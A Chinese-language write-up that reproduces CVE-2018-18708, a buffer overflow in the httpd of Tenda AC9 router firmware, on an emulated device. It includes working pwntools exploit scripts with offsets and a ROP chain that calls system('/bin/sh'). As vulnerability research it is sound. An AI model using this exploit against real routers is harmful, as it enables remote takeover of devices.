CVE-2018-18708 TENDA缓冲区溢出漏洞

相比于之前的CVE-2018-5767,这个cve影响的路由器挺多,有arm架构,有mips架构的,本次实验的就是一个mips架构的Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01。

来学习下mips架构下的一些不同之处。

https://github.com/The-Itach1/Audit

漏洞简介

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。

Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01固件下载:https://www.tenda.com.cn/service/download-cata-11.html

仿真模拟

binwalk导出固件文件系统,没有加固这些。

binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin

查看文件信息,mips,小端序,所以需要使用对应的qemu-mipsel-static来模拟。

readelf -h ./bin/httpd


同样和之前的tenda路由器设备,都需要patch下,mips的调用函数有点不一样,常规来说是下面这种方式,先la将函数地址给v0,然后给t9,然后在跳转到函数。

la      $v0, websGetVar
move    $t9, $v0
jalr    $t9 ; websGetVar

所以想patch,直接patch掉jalr这一句就行,然后将v0寄存器赋值为1即可。

建立一个虚拟网桥br0

sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0

尝试qemu启动,即可启动。

cp $(which qemu-mipsel-static) .

sudo chroot ./ ./qemu-mipsel-static ./bin/httpd

漏洞分析

漏洞点在parse_macfilter_rule函数中的strcpy(a2, v4),这个函数不会引发栈溢出,复制的字符串,实际上在后面的分析中发现是上一个函数的局部变量,从而在上一个函数造成栈溢出。

通过交叉引用我们可以得到这样的函数调用链,我们采用动调的方式,配合静态,依次来分析,并构造出一个测试的poc。

formDefineTendDa->formSetMacFilterCfg->set_macfilter_rules->set_macfilter_rules_by_one->parse_macfilter_rule

formDefineTendDa函数,这是一个包含路由器接口和其对应处理函数的总函数。

先访问下这个接口,”http://192.168.112.131/goform/setMacFilterCfg",抓个包,需要访问两次,第一次好像并没有访问到此接口。

然后查看下返回的包。

返回了个{“errCode”:2},我们到formSetMacFilterCfg函数内部,查看setMacFilterCfg接口对应的处理过程,需要注意的是这些地方。

Var = (const char *)websGetVar(a1, "macFilterType", &unk_52346C);
v2 = set_macfilter_mode(Var);

...
...
reload_macfilter_rules_to_wireless(Var);

首先我们需要知道websGetVar这个函数,这个函数实际上就是在从前端传过来的表单中获取对应的值。

结合ida动调分析如下。

现在我们知道了为什么会返回{“errCode”:2},所以现在的关键点就在于如何让set_macfilter_mode函数返回0,传给这个函数参数为websGetVar获取到macFilterType的具体值。

进入set_macfilter_mode函数内部,发现其对传入的值进行的strcmp比较,从而决定返回的值。

所以必须post传参,”macFilterType”: “black”,或者white。

然后回到formSetMacFilterCfg,下面还websGetVar了一个”deviceList”,然后会进入set_macfilter_rules,参数为macFilterType的值和deviceList的值。

分析set_macfilter_rules函数。

进入set_macfilter_rules_by_one,实际上这个才是会发生溢出的函数,其v4变量会由于parse_macfilter_rule中的strcpy导致溢出而覆盖返回地址。

进入parse_macfilter_rule函数,分析得知,deviceList第一个字节必须是’\r’。

到这里溢出产生原因和具体影响的函数就分析完了,现在主要的就是去找偏移,找偏移的方法很多,可以利用cyclic,可以gdb调试然后去查看栈空间,可以在ida的Stack窗口去查看一个大概的范围。

这里我就直接通过ida来判断一个大概的范围,然后再写exp,去用gdb调试获取真正的偏移。

然后计算一下,偏移大概就是在472或者476的样子,我们编写exp进行测试。

1
2
3
4
5
6
7
8
9

import requests
from pwn import *

url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
data = {"macFilterType": "black", "deviceList":"\r" + "A" * 472 + "bbbb"}

requests.post(url, cookies=cookie, data=data)

用pwngdb进行调试。

可以看到刚刚好。

漏洞利用

寻找libc基址

漏洞利用首先需要找到libc.so.0的基址,同样和之前的CVE-2018-5767一样,同样vmmap无法使用,但是这里我还是找到了一个比较特殊的方法找到了基址。

我在strcpy处打了个断点,然后发现并没有在相关位置断下来,然后就bt查看调用链,发现了调用了__uClibc_main,根据ida的交叉引用也可以直接到相应位置,这个位置感觉相当于mips程序的start函数。

然后用ida载入libc.so.0,去exports查看对应的函数地址,发现在0x0005F804,当然也可以用readelf -s ./lib/libc.so.0 | grep __uClibc_main。

然后我以为两个地址相减就可以得到libc基址的时候,0x7f583a08-0x0005F804=0x7F524204,实际上明显可以看出不对,一般基址后面几个数会是0。

抱着试一试的想法去看看能不能跳到system,编写exp如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

import requests
from pwn import *

url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}

libc_base=0x7f583a08-0x0005F804
system=0x0060320

system_addr=libc_base+system

data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)}

requests.post(url, cookies=cookie, data=data)

在溢出最后的跳转处,0x04E8204打断点,运行exp,断下来。

可以看到运气较好的是,我们仍然在libc中,但是不知道具体位置,这时候我们可以用ida的字符串搜索功能,去尝试搜索到对应的位置。

这里我是alt+t搜索addiu $sp, 0x30,当然搜索syscall也行。并且再次根据后两个字节4c过滤了大量结果。

成功找到对应偏移位置,0x0006054C,由于关了aslr,所以基址不变,得到libc_base=0x7f58454c - 0x0006054C = 0x7F524000

测试下能不能到system。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

import requests
from pwn import *

url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}

libc_base=0x7f58454c - 0x0006054
system=0x0060320

system_addr=libc_base+system

data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)}

requests.post(url, cookies=cookie, data=data)

构造rop链

对于mips下rop链的构造,经常使用到的是move $a0 $s0,我们使用mipsrop去查找一些可用的。

先下载mipsrop插件,随便都可以百度到,然后使用。

7.5版本以上的ida先执行下面的语句。

import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

然后mipsrop.find(“move $a0 $s0”),可用的很多,这里我就直接选择第一个,这个就作为gadget2。

.text:0000DC1C                 move    $a0, $s0
.text:0000DC20                 move    $t9, $s1
.text:0000DC24                 jalr    $t9 ; stat64

当然我们还需要给里面的寄存器赋值,将$s0赋值为”/bin/sh”的地址,将$s1赋值为system的地址,这样就可以达到执行system(“/bin/sh”)的目的。

实际上我们之前得到错误的system的地址的那些代码就可以作为给寄存器赋值的语句,并且可以跳转到gadget2。

.text:00060530                 lw      $ra, 0x18+var_s14($sp)
.text:00060534
.text:00060534 loc_60534:                               # CODE XREF: sub_603D8+138↑j
.text:00060534                 lw      $s4, 0x18+var_s10($sp)
.text:00060538                 lw      $s3, 0x18+var_sC($sp)
.text:0006053C                 lw      $s2, 0x18+var_s8($sp)
.text:00060540                 lw      $s1, 0x18+var_s4($sp)
.text:00060544                 lw      $s0, 0x18+var_s0($sp)
.text:00060548                 jr      $ra
.text:0006054C                 addiu   $sp, 0x30

00060530+base就作为gadget1。

我们根据上面的代码,根据栈偏移,控制对$ra,$s1,$s0的赋值,最终rop链为

b"\r" +  b"A" * 472 + p32(gadget1)+b"A"*24+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)

报错解决即溯源

用上面的exp打一下,会报错。

这里爆了个访问错误,$v0应该是个地址,但是变成了我们的0x41414141。

通过我们之前验证是否能到system函数可知,只覆盖返回地址是可以的,虽然会把上一级函数fp给覆盖掉,但是我们也不需要返回到上一级函数了。

使用ida调试,最终发现会在set_macfilter_rules_by_one函数中snprintf函数报错。

snprintf(v5, 0x80u, "macfilter.%s.list%d", a1, a3);

为了区别我用下面的exp打一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import requests
from pwn import *

url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
#libc_base=0x7f583a08-0x0005F804

libc_base=0x7f58452c-0x0006052C
lib=0x7F524000
system=0x0060320
binsh=0x0006AE30

gadget1=libc_base+0x00060530
gadget2=libc_base+0x0000DC1C
system_addr=libc_base+system
binsh_addr=libc_base+binsh

data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)b"bbbb"+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}

requests.post(url, cookies=cookie, data=data)

ida远程调试。

第一个注意的点就是传给set_macfilter_rules_by_one的3个参数在进入set_macfilter_rules_by_one函数后保存的位置,主要关注第一个参数,也就是macFilterType值的地址。

而恰好,set_macfilter_rules_by_one在执行完parse_macfilter_rule函数,发生了溢出后,后面的snprintf函数调用了a1,也就是第一个参数,且a1是一个地址,但是按照我们playload覆盖后a1将变为一个值,所以会照成访问异常。

执行到snprintf。

解决这个错误也很简单,将b”bbbb”,修改为一可访问地址值就行,而且snprintf也限制了长度,不用担心溢出这些。

最终exp以及调试

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import requests
from pwn import *

url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}

#libc_base=0x7f583a08-0x0005F804
libc_base=0x7f58452c-0x0006052C
lib=0x7F524000
system=0x0060320
binsh=0x0006AE30

gadget1=libc_base+0x00060530
gadget2=libc_base+0x0000DC1C
system_addr=libc_base+system
binsh_addr=libc_base+binsh

data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)+p32(0x7FFFF090)+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}

requests.post(url, cookies=cookie, data=data)

ida或者gdb调都行。

gadget1

gadget2

getshell

总结

这次复现,感觉对mips架构的一些指令以及函数调用更加清晰了,而且也学会了mips中如何构建简单的rop链。

参考

https://www.anquanke.com/post/id/254426#h3-5